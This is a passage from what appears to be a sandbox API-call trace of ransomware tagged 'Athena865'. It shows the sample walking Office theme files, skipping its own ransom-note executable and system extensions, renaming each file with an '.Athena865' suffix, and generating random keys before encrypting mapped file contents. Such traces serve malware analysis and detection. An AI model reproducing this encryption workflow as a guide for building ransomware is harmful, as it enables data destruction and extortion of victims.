dwFlags=0x0) returned 1 [0136.369] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x17c [0136.371] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000 [0136.372] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.373] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.373] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.373] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.374] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcefe0fc0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcefe0fc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0136.374] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0136.374] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0136.374] lstrcmpiW (lpString1="Median.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.374] lstrcmpiW (lpString1="Median.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.374] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Median.xml" | out: lpString1="Median.xml") returned="Median.xml" [0136.374] lstrlenW (lpString="Median.xml") returned 10 [0136.374] lstrlenW (lpString="Athena865") returned 9 [0136.374] lstrcmpiW (lpString1="edian.xml", lpString2="Athena865") returned 1 [0136.374] lstrlenW (lpString=".dll") returned 4 [0136.374] lstrcmpiW (lpString1="Median.xml", lpString2=".dll") returned 1 [0136.374] lstrlenW (lpString=".lnk") returned 4 [0136.374] lstrcmpiW (lpString1="Median.xml", lpString2=".lnk") returned 1 [0136.374] lstrlenW (lpString=".ini") returned 4 [0136.374] lstrcmpiW (lpString1="Median.xml", lpString2=".ini") returned 1 [0136.374] lstrlenW (lpString=".sys") returned 4 [0136.374] lstrcmpiW (lpString1="Median.xml", lpString2=".sys") returned 1 [0136.374] lstrlenW (lpString="Median.xml") returned 10 [0136.374] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.Athena865") returned 86 [0136.375] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml.athena865"), dwFlags=0x1) returned 1 [0136.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.377] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=961) returned 1 [0136.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.377] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.378] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.378] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.378] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.379] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.383] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.383] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.384] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.384] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0136.384] lstrcmpiW (lpString1="Metro.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.384] lstrcmpiW (lpString1="Metro.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.384] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Metro.xml" | out: lpString1="Metro.xml") returned="Metro.xml" [0136.384] lstrlenW (lpString="Metro.xml") returned 9 [0136.384] lstrlenW (lpString="Athena865") returned 9 [0136.384] lstrlenW (lpString=".dll") returned 4 [0136.384] lstrcmpiW (lpString1="Metro.xml", lpString2=".dll") returned 1 [0136.384] lstrlenW (lpString=".lnk") returned 4 [0136.384] lstrcmpiW (lpString1="Metro.xml", lpString2=".lnk") returned 1 [0136.384] lstrlenW (lpString=".ini") returned 4 [0136.384] lstrcmpiW (lpString1="Metro.xml", lpString2=".ini") returned 1 [0136.384] lstrlenW (lpString=".sys") returned 4 [0136.385] lstrcmpiW (lpString1="Metro.xml", lpString2=".sys") returned 1 [0136.385] lstrlenW (lpString="Metro.xml") returned 9 [0136.385] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.Athena865") returned 85 [0136.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml.athena865"), dwFlags=0x1) returned 1 [0136.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.386] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=960) returned 1 [0136.386] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.386] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.387] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.387] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.387] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.387] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.388] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x17c [0136.390] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000 [0136.391] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.392] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.392] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.392] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.393] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0136.393] lstrcmpiW (lpString1="Module.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.393] lstrcmpiW (lpString1="Module.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.393] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Module.xml" | out: lpString1="Module.xml") returned="Module.xml" [0136.395] lstrlenW (lpString="Module.xml") returned 10 [0136.395] lstrlenW (lpString="Athena865") returned 9 [0136.395] lstrcmpiW (lpString1="odule.xml", lpString2="Athena865") returned 1 [0136.395] lstrlenW (lpString=".dll") returned 4 [0136.395] lstrcmpiW (lpString1="Module.xml", lpString2=".dll") returned 1 [0136.395] lstrlenW (lpString=".lnk") returned 4 [0136.395] lstrcmpiW (lpString1="Module.xml", lpString2=".lnk") returned 1 [0136.395] lstrlenW (lpString=".ini") returned 4 [0136.395] lstrcmpiW (lpString1="Module.xml", lpString2=".ini") returned 1 [0136.395] lstrlenW (lpString=".sys") returned 4 [0136.395] lstrcmpiW (lpString1="Module.xml", lpString2=".sys") returned 1 [0136.395] lstrlenW (lpString="Module.xml") returned 10 [0136.395] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.Athena865") returned 86 [0136.395] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml.athena865"), dwFlags=0x1) returned 1 [0136.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.398] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=961) returned 1 [0136.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.398] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.399] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.399] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.399] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.401] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.402] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.403] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.403] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.403] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1 [0136.403] lstrcmpiW (lpString1="Newsprint.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.403] lstrcmpiW (lpString1="Newsprint.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.403] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Newsprint.xml" | out: lpString1="Newsprint.xml") returned="Newsprint.xml" [0136.403] lstrlenW (lpString="Newsprint.xml") returned 13 [0136.403] lstrlenW (lpString="Athena865") returned 9 [0136.403] lstrcmpiW (lpString1="print.xml", lpString2="Athena865") returned 1 [0136.403] lstrlenW (lpString=".dll") returned 4 [0136.403] lstrcmpiW (lpString1="Newsprint.xml", lpString2=".dll") returned 1 [0136.404] lstrlenW (lpString=".lnk") returned 4 [0136.404] lstrcmpiW (lpString1="Newsprint.xml", lpString2=".lnk") returned 1 [0136.404] lstrlenW (lpString=".ini") returned 4 [0136.404] lstrcmpiW (lpString1="Newsprint.xml", lpString2=".ini") returned 1 [0136.404] lstrlenW (lpString=".sys") returned 4 [0136.404] lstrcmpiW (lpString1="Newsprint.xml", lpString2=".sys") returned 1 [0136.404] lstrlenW (lpString="Newsprint.xml") returned 13 [0136.404] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.Athena865") returned 89 [0136.404] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml.athena865"), dwFlags=0x1) returned 1 [0136.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.405] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=964) returned 1 [0136.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.406] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.406] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.407] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.407] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.411] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.412] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.413] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.413] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.413] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0136.413] lstrcmpiW (lpString1="Opulent.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.413] lstrcmpiW (lpString1="Opulent.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.413] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Opulent.xml" | out: lpString1="Opulent.xml") returned="Opulent.xml" [0136.413] lstrlenW (lpString="Opulent.xml") returned 11 [0136.414] lstrlenW (lpString="Athena865") returned 9 [0136.414] lstrcmpiW (lpString1="ulent.xml", lpString2="Athena865") returned 1 [0136.414] lstrlenW (lpString=".dll") returned 4 [0136.414] lstrcmpiW (lpString1="Opulent.xml", lpString2=".dll") returned 1 [0136.414] lstrlenW (lpString=".lnk") returned 4 [0136.414] lstrcmpiW (lpString1="Opulent.xml", lpString2=".lnk") returned 1 [0136.414] lstrlenW (lpString=".ini") returned 4 [0136.414] lstrcmpiW (lpString1="Opulent.xml", lpString2=".ini") returned 1 [0136.414] lstrlenW (lpString=".sys") returned 4 [0136.414] lstrcmpiW (lpString1="Opulent.xml", lpString2=".sys") returned 1 [0136.414] lstrlenW (lpString="Opulent.xml") returned 11 [0136.414] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.Athena865") returned 87 [0136.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml.athena865"), dwFlags=0x1) returned 1 [0136.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.416] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=962) returned 1 [0136.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.416] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.417] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.417] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.417] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.418] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.419] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.420] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.420] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.421] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0136.421] lstrcmpiW (lpString1="Oriel.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.421] lstrcmpiW (lpString1="Oriel.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.421] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Oriel.xml" | out: lpString1="Oriel.xml") returned="Oriel.xml" [0136.421] lstrlenW (lpString="Oriel.xml") returned 9 [0136.421] lstrlenW (lpString="Athena865") returned 9 [0136.421] lstrlenW (lpString=".dll") returned 4 [0136.421] lstrcmpiW (lpString1="Oriel.xml", lpString2=".dll") returned 1 [0136.421] lstrlenW (lpString=".lnk") returned 4 [0136.421] lstrcmpiW (lpString1="Oriel.xml", lpString2=".lnk") returned 1 [0136.421] lstrlenW (lpString=".ini") returned 4 [0136.421] lstrcmpiW (lpString1="Oriel.xml", lpString2=".ini") returned 1 [0136.421] lstrlenW (lpString=".sys") returned 4 [0136.421] lstrcmpiW (lpString1="Oriel.xml", lpString2=".sys") returned 1 [0136.421] lstrlenW (lpString="Oriel.xml") returned 9 [0136.421] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.Athena865") returned 85 [0136.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml.athena865"), dwFlags=0x1) returned 1 [0136.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.428] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=960) returned 1 [0136.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.428] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.429] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.429] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.429] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x17c [0136.430] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000 [0136.431] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.432] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.432] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.432] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, 